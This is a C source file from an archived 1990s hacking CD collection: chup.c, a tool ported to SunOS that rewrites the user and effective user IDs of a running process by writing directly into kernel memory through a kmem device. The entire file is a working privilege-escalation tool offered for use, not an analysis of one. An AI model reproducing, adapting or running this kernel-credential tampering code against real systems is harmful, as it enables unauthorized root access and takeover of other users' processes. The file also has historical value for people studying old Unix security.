home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / unix / sun_chui.c < prev    next >
Encoding:
C/C++ Source or Header  |  2003-06-11  |  4.1 KB  |  167 lines

  1.  
  2.  
  3. /*
  4.  * chup.c - change uid of a running process.
  5.  * Should work on any 4.2/4.3BSD based kernel.
  6.  * Written by Avalon (avalon@coombs.anu.edu.au), 22/12/93.
  7.  
  8.  Ported to SunOS by x0d, me thinks.
  9.  */
  10.  
  11. #include <stdio.h>
  12. #include <sys/types.h>
  13. #include <unistd.h>
  14. #include <sys/param.h>
  15. #define KERNEL
  16. #include <sys/file.h>
  17. #undef KERNEL
  18. #include <nlist.h>
  19. #include <sys/types.h>
  20. #include <sys/user.h>
  21. #include <sys/proc.h>
  22. #include <sys/ucred.h>
  23. /* #include <sys/processflags.h> /**/
  24.  
  25. #ifndef offsetof
  26. #define offsetof(t,m) (int)((&((t *)0L)->m))
  27. #endif
  28.  
  29. #define DEVKMEM "/home/new-kmem"
  30.  
  31. struct  nlist   names[] = {
  32.     { "_allproc", 0, 0, 0, 0},
  33.     { (char *)NULL, 0, 0, 0, 0 }
  34. };
  35.  
  36. static  int     kfd = -1, pid = -1, uid = -1, euid = -1, debug = 0;
  37.  
  38. void    fatal(status, msg)
  39. int     status;
  40. char    *msg;
  41. {
  42.     perror(msg);
  43.     exit(status);
  44. }
  45.  
  46. static  int     lock_on() {
  47.     return 0;
  48. }
  49.  
  50. static  int     lock_off() {
  51.     return 0;
  52. }
  53.  
  54. int     kopen() {
  55.     return (kfd = open(DEVKMEM, O_RDWR));
  56. }
  57.  
  58. void    kread(buf, pos, n)
  59. char    *buf;
  60. off_t   pos;
  61. int     n;
  62. {
  63.     if (!n) return;
  64.     if (debug) printf("read %d @%#x to %#x on %d\n", n, pos, buf, kfd);
  65.     if (lseek(kfd, pos, 0) == -1) fatal(-1, "k(r)lseek");
  66.     if (read(kfd, buf, n) != n) fatal(-1, "kread");
  67. }
  68.  
  69. int     kwrite(buf, pos, size)
  70. char    *buf;
  71. u_long  pos, size;
  72. {
  73.     if (lseek(kfd, pos, 0) == -1) fatal(-1, "k(w)lseek");
  74.     if (debug) printf("write %d to %#x from %#x on %d\n", size, pos, buf, kfd);
  75.     if (write(kfd, buf, size) == -1) fatal(-1, "kwrite");
  76.     return 0;
  77. }
  78.  
  79. int     change_proc() {
  80.     register int    i;
  81.     int     np;
  82.     struct proc    p,*next;
  83.     struct ucred ucr;
  84.  
  85.     if (nlist("/vmunix", names) == -1) fatal(-1, "nlist");
  86.     if (kopen() == -1) fatal(-1, DEVKMEM);
  87.     if (lock_on() == -1) return -1;
  88.         if(names[0].n_value ==0) fatal(-1, "no allproc");
  89.     kill(pid, SIGSTOP);
  90.     kread((char *)&next, names[0].n_value, sizeof(struct proc *));
  91.     /* walk the linked list */
  92.     for (i = 0; next; i++) {
  93.         kread((char *)&p, (char *)next, sizeof(p));
  94.         next = p.p_nxt;
  95.         if (p.p_pid == pid) {
  96.             if(!p.p_cred) fatal(-1, "no credentials with this process!");
  97.             kread((char *)&ucr, (char *)p.p_cred, sizeof(ucr));
  98.             printf("%d %d (uid %d, suid %d) uid %d euid %d\n",
  99.                    i, p.p_pid, p.p_uid, p.p_suid, ucr.cr_ruid,ucr.cr_uid);
  100.             if (uid != -1) {
  101.               ucr.cr_ruid = uid;
  102.               kwrite((char *)&ucr + offsetof(struct ucred, cr_ruid),
  103.                    (char *)p.p_cred + offsetof(struct ucred, cr_ruid),
  104.                 sizeof(ucr.cr_ruid));
  105.             }
  106.             if(euid != -1) {
  107.                ucr.cr_uid = euid;
  108.                kwrite((char *)&ucr + offsetof(struct ucred, cr_uid),
  109.                   (char *)p.p_cred + offsetof(struct ucred, cr_uid),
  110.                   sizeof(ucr.cr_uid));
  111.             }
  112.             printf("set to %d %d\n", uid, euid);
  113.             break;
  114.         }
  115.     }
  116.     kill(pid, SIGCONT);
  117.     if (!next) (void) fprintf(stderr, "process %d not found\n", pid);
  118.     /* we're not going through that again :)
  119.     else {
  120.         kread((char *)p, (char *)pt + i * sizeof(*p), sizeof(*p));
  121.         kread((char *)&pcr, (char *)p->p_cred, sizeof(pcr));
  122.         if(pcr.pc_ucred != NOCRED) kread((char *)&ucr, (char *)pcr.pc_ucred, si
  123. zeof(ucr));
  124.         (void) printf("%d %d uid %d euid %d\n", i, p->p_pid, pcr.p_ruid,
  125.             (pcr.pc_ucred!=NOCRED)? ucr.cr_uid : pcr.p_ruid);
  126.     }
  127.     */
  128.     lock_off();
  129. }
  130.  
  131. void    printusage(name)
  132. char    *name;
  133. {
  134.     (void) fprintf(stderr, "usage:\n%s <pid> [uid [euid]]\n", name);
  135. }
  136.  
  137. int     do_args(argc, argv)
  138. int     argc;
  139. char    *argv[];
  140. {
  141.     if (argv[1] && !strcmp(argv[1], "-d")) argv++, argc--, debug = 1;
  142.     if (argc == 1) {
  143.         printusage(argv[0]);
  144.         return -1;
  145.     }
  146.     if (kill(pid = atoi(argv[1]), 0) == -1) {
  147.         perror(argv[0]);
  148.         return -1;
  149.     }
  150.     if (argc > 2) {
  151.         uid = atoi(argv[2]);
  152.         if (argc > 3) euid = atoi(argv[3]);
  153.     }
  154.     return 0;
  155. }
  156.  
  157. main(argc, argv)
  158. int     argc;
  159. char    *argv[];
  160. {
  161.     if (do_args(argc, argv)) exit(1);
  162.     return change_proc();
  163. }
  164.  
  165.  
  166.  
  167.